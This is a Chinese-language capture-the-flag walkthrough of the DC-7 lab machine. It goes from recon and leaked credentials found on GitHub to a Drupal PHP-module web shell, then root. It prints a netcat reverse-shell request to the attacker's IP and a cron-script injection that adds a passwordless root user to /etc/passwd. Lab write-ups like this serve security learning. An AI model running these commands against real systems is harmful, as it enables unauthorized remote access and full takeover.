DC-7

基础信息收集

NMAP Result：

Nikto的结果没暴露啥有用信息。

Drupal试探

可以看到这是一个Drupal的站，用droopscan扫描一下：

没什么有用的信息，搜了一下版本的EXP也没有发现：

通过Tips找关键

这段话提示了一下，从外部找线索，看到最下面有一个**@DC7USER**，外国友人活跃的平台Twitter，搜一波：

芜湖，主页有Github的地址：

只有一个代码仓库，并且表述可以确定是DC-7的一些源代码。

配置文件：

这就有趣了！

尝试在Drupal登录失败，nmap还扫描出了SSH，再试试SSH：

成功进入！

修改Drupal管理员密码

在用户根目录下有一个mbox，记录了邮件，可以知道服务器存在一个定时任务备份。

但是backups目录下的所有文件都是通过gpg加密的，无法看到具体内容。

查看脚本内容可以看到：

drush命令可用！

那么，通过drush修改管理员密码应该是可行的！

修改成功！

拿到www-data用户的shell

光明正大地登录到网站：

修改Content的时候发现Drupal好像不支持使用PHP代码？

Google一下，原来需要给Drupal装一个拓展。

在Extend模块下选择Install new module，地址为：

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

安装完成后启用模块即可。

接下就可以很简单的反弹一个shell回去了。

加上这行，于是反弹一个shell

提权

请求：

http://192.168.145.140/?cmd=nc%20192.168.145.130%208888%20-e%20/bin/bash

成功拿到。

backups.sh的用户组是www-data，那么我们可以修改这个文件的内容，然后再利用定时任务触发获取root权限！

给定时任务加上一行：

echo 'echo "escape::0:0:::/bin/bash" >> /etc/passwd' >> backups.sh

然后我们只需要等待，等待定时任务触发，一旦定时任务触发，就会向/etc/passwd文件追加一行内容，而这行内容可以轻松的获取权限。

经过等待，可以看到已经追加完毕，切换用户，读取Flag！

除此之外还有很多提权手法，例如定时任务反弹shell，但是添加用户这种方式更为简洁，服务器在外网的情况下，使用公网反弹shell反倒不如直接添加一个提权账户。